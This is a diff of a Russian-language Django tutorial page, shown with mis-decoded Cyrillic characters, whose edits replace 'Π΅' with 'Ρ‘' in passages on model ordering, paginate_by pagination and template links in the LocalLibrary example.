+<p>Π”Π°Π½Π½ΠΎΠ΅ руководство ΠΏΠΎΠΊΠ° Π½Π΅ дошло Π΄ΠΎ описания <strong>Pagination</strong> (ΠΏΠΎΠΊΠ°, Π½ΠΎ скоро Π±ΡƒΠ΄Π΅Ρ‚), ΠΈ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>sort_by()</code> ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ (ΠΏΠΎ Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, Ρ‡Ρ‚ΠΎ ΠΈ <code>filter()</code>) Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствий:</p>
<ol>
<li>Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>ordering</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>Meta-класса</code> объявлСнного Π² вашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ.</li>
@@ -474,7 +474,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ ΠΆΠ΅, ΠΏΠΎΠ»Π΅ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ имя <code>last_name</code>: ΠΎΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹ΠΌ.</p>
-<p>И послСднСС, Π½ΠΎ Π½Π΅ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ/ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅, которая Π±Ρ‹Π»Π° проиндСксирована (ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ, ΠΈΠ»ΠΈ Π½Π΅Ρ‚) Π² вашСй Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с быстродСйствиСм. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π½Π΅ являСтся Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌ Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (ΠΈ ΠΌΡ‹, вСроятно, Π·Π°Π±Π΅Π³Π°Π΅ΠΌ Π΄Π°Π»Π΅ΠΊΠΎ Π²ΠΏΠ΅Ρ€Π΅Π΄), Ссли Ρƒ нас Ρ‚Π°ΠΊΠΎΠ΅ нСбольшоС количСство ΠΊΠ½ΠΈΠ³ (ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ!),Β  Π½ΠΎ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ для Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p>И послСднСС, Π½ΠΎ Π½Π΅ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ/ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅, которая Π±Ρ‹Π»Π° проиндСксирована (ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ, ΠΈΠ»ΠΈ Π½Π΅Ρ‚) Π² вашСй Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с быстродСйствиСм. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π½Π΅ являСтся Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌ Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (ΠΈ ΠΌΡ‹, вСроятно, Π·Π°Π±Π΅Π³Π°Π΅ΠΌ Π΄Π°Π»Π΅ΠΊΠΎ Π²ΠΏΠ΅Ρ€Ρ‘Π΄), Ссли Ρƒ нас Ρ‚Π°ΠΊΠΎΠ΅ нСбольшоС количСство ΠΊΠ½ΠΈΠ³ (ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ!),Β  Π½ΠΎ это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ для Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ².</p>
</div>
<h2 id="Как_это_Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ_выглядит">Как это Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ выглядит?</h2>
@@ -497,7 +497,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<p>Если Ρƒ вас всСго лишь нСсколько записСй Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, Ρ‚ΠΎ наша страница Π²Ρ‹Π²ΠΎΠ΄Π° списка ΠΊΠ½ΠΈΠ³ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΊΠΎΠ³Π΄Π° Ρƒ вас появятся дСсятки, ΠΈΠ»ΠΈ сотни записСй ваша страница станСт Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ дольшС Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒΡΡ (ΠΈ станСт слишком Π΄Π»ΠΈΠ½Π½ΠΎΠΉ для ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½ΠΎΠ³ΠΎ просмотра). РСшСниСм Π΄Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ являСтся Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ постраничного Π²Ρ‹Π²ΠΎΠ΄Π° (Pagination) ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ списка, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ΅ количСство элСмСнтов Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС.</p>
-<p>Django ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ встроСнный ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для постраничного Π²Ρ‹Π²ΠΎΠ΄Π°. Π”Π°ΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ встроСн Π² ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ класс отобраТСния списков, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ΄Π΅Π»Ρ‹Π²Π°Ρ‚ΡŒ большой объСм Ρ€Π°Π±ΠΎΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ возмоТностями постраничного Π²Ρ‹Π²ΠΎΠ΄Π°!</p>
+<p>Django ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ встроСнный ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для постраничного Π²Ρ‹Π²ΠΎΠ΄Π°. Π”Π°ΠΆΠ΅ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ встроСн Π² ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ класс отобраТСния списков, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ΄Π΅Π»Ρ‹Π²Π°Ρ‚ΡŒ большой объСм Ρ€Π°Π±ΠΎΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ возмоТностями постраничного Π²Ρ‹Π²ΠΎΠ΄Π°!</p>
<h3 id="ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ">ΠžΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ</h3>
@@ -507,13 +507,13 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
model = Book
<strong>paginate_by = 10</strong></pre>
-<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ вас появится Π±ΠΎΠ»Π΅Π΅ 10 записСй Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π°Ρ‡Π½Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ постраничный Π²Ρ‹Π²ΠΎΠ΄ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ. К Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ страницам Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹Π²ΠΎΠ΄Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² GET-запроса β€” ΠΊ страницС 2 Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ URL-адрСс:Β <code>/catalog/books/<strong>?page=2</strong></code>.</p>
+<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ вас появится Π±ΠΎΠ»Π΅Π΅ 10 записСй Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π°Ρ‡Π½Ρ‘Ρ‚ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ постраничный Π²Ρ‹Π²ΠΎΠ΄ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ. К Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ страницам Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹Π²ΠΎΠ΄Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² GET-запроса β€” ΠΊ страницС 2 Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ URL-адрСс:Β <code>/catalog/books/<strong>?page=2</strong></code>.</p>
<h3 id="Π¨Π°Π±Π»ΠΎΠ½Ρ‹">Π¨Π°Π±Π»ΠΎΠ½Ρ‹</h3>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π΄Π°Π½Π½Ρ‹Π΅ выводятся постранично, Π½Π°ΠΌ Π½Π°Π΄ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΌΠ΅ΠΆΠ΄Ρƒ страницами Π² шаблона страницы. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для всСх списков Π½Π° сайтС, Ρ‚ΠΎ ΠΌΡ‹ ΠΏΡ€ΠΎΠΏΠΈΡˆΠ΅ΠΌ Π΅Π³ΠΎ Π² Π±Π°Π·ΠΎΠ²ΠΎΠΌ шаблонС сайта.</p>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> ΠΈ, Π½ΠΈΠΆΠ΅ Π±Π»ΠΎΠΊΠ° <code>content</code>, Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π±Π»ΠΎΠΊ (Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ Π½Π΅ Π²Ρ‹Π΄Π΅Π»Π΅Π½ ΠΆΠΈΡ€Π½Ρ‹ΠΌ), ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Π·Π° постраничный Π²Ρ‹Π²ΠΎΠ΄. Π”Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄, Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, провСряСт "Π²ΠΊΠ»ΡŽΡ‡Π΅Π½" Π»ΠΈ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ постраничного Π²Ρ‹Π²ΠΎΠ΄Π° для Π΄Π°Π½Π½ΠΎΠΉ страницы ΠΈ Ссли это Ρ‚Π°ΠΊ, Ρ‚ΠΎ ΠΎΠ½ добавляСт ссылки <code>next</code> ΠΈ <code>previous,</code>соотвСтствСнно (Π° Ρ‚Π°ΠΊΠΆΠ΅, Π½ΠΎΠΌΠ΅Ρ€ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы).Β </p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong> ΠΈ, Π½ΠΈΠΆΠ΅ Π±Π»ΠΎΠΊΠ° <code>content</code>, Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π±Π»ΠΎΠΊ (Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ Π½Π΅ Π²Ρ‹Π΄Π΅Π»Π΅Π½ ΠΆΠΈΡ€Π½Ρ‹ΠΌ), ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Π·Π° постраничный Π²Ρ‹Π²ΠΎΠ΄. Π”Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄, Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, провСряСт "Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½" Π»ΠΈ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ постраничного Π²Ρ‹Π²ΠΎΠ΄Π° для Π΄Π°Π½Π½ΠΎΠΉ страницы ΠΈ Ссли это Ρ‚Π°ΠΊ, Ρ‚ΠΎ ΠΎΠ½ добавляСт ссылки <code>next</code> ΠΈ <code>previous,</code>соотвСтствСнно (Π° Ρ‚Π°ΠΊΠΆΠ΅, Π½ΠΎΠΌΠ΅Ρ€ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы).Β </p>
<pre class="brush: python"><strong>{% block content %}{% endblock %}</strong>
@@ -564,7 +564,7 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>:</p>
<ul>
- <li>Когда Π²Ρ‹ создадитС URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ для страницы списка Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π²Π°ΠΌ понадобится ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ссылку <strong>All authors</strong> Π² Π±Π°Π·ΠΎΠ²ΠΎΠΌ шаблонС. Π‘Π»Π΅Π΄ΡƒΠΉΡ‚Π΅ <a href="#Update_the_base_template">Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΏΡƒΡ‚Π΅ΠΌ</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Π»ΠΈ ΠΊΠΎΠ³Π΄Π° обновляли ссылку <strong>All books</strong>.</li>
+ <li>Когда Π²Ρ‹ создадитС URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ для страницы списка Π°Π²Ρ‚ΠΎΡ€ΠΎΠ² Π²Π°ΠΌ понадобится ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ссылку <strong>All authors</strong> Π² Π±Π°Π·ΠΎΠ²ΠΎΠΌ шаблонС. Π‘Π»Π΅Π΄ΡƒΠΉΡ‚Π΅ <a href="#Update_the_base_template">Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΏΡƒΡ‚Ρ‘ΠΌ</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Π»ΠΈ ΠΊΠΎΠ³Π΄Π° обновляли ссылку <strong>All books</strong>.</li>
<li>Когда Π²Ρ‹ создадитС URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ для страницы с Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅,Β  Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ <a href="#Creating_the_Detail_View_template">шаблон Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΠ½ΠΈΠ³Π΅</a> (<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>), Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылка Π°Π²Ρ‚ΠΎΡ€Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π»Π° Π½Π° страницу с Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π½Π΅ΠΌ (Π° Π½Π΅ Π±Ρ‹Ρ‚ΡŒ пустой). Данная ссылка Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΈΠ΄ ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΆΠΈΡ€Π½Ρ‹ΠΌ Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ Π½ΠΈΠΆΠ΅.
<pre class="brush: html">&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; &lt;a href="<strong>{% url 'author-detail' book.author.pk %}</strong>"&gt;\{{ book.author }}&lt;/a&gt;&lt;/p&gt;
</pre>
@@ -588,15 +588,15 @@ url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'
<p>ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ! Наш Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π» Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Π³ΠΎΡ‚ΠΎΠ²!Β </p>
-<p>Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ классы отобраТСния списка ΠΈ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для создания страниц отобраТСния Π½Π°ΡˆΠΈΡ… ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ ΡƒΠ·Π½Π°Π»ΠΈ ΠΎ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π°Ρ… прСобразования, построСнных Π½Π° основС рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· URL-адрСса Π² вашС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. ΠœΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ нСсколько ΠΏΡ€ΠΈΠ΅ΠΌΠΎΠ² примСнСния шаблонов. Π’ самом ΠΊΠΎΠ½Ρ†Π΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ ΠΊΠ°ΠΊ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ постраничный Π²Ρ‹Π²ΠΎΠ΄ списков, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ наши списки ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ содСрТат ΠΌΠ½ΠΎΠ³ΠΎ записСй.</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ классы отобраТСния списка ΠΈ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… для создания страниц отобраТСния Π½Π°ΡˆΠΈΡ… ΠΊΠ½ΠΈΠ³ ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΎΠ². ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΌΡ‹ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ ΡƒΠ·Π½Π°Π»ΠΈ ΠΎ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π°Ρ… прСобразования, построСнных Π½Π° основС рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· URL-адрСса Π² вашС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. ΠœΡ‹ ΠΈΠ·ΡƒΡ‡ΠΈΠ»ΠΈ нСсколько ΠΏΡ€ΠΈΡ‘ΠΌΠΎΠ² примСнСния шаблонов. Π’ самом ΠΊΠΎΠ½Ρ†Π΅ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ ΠΊΠ°ΠΊ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ постраничный Π²Ρ‹Π²ΠΎΠ΄ списков, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ наши списки ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ содСрТат ΠΌΠ½ΠΎΠ³ΠΎ записСй.</p>
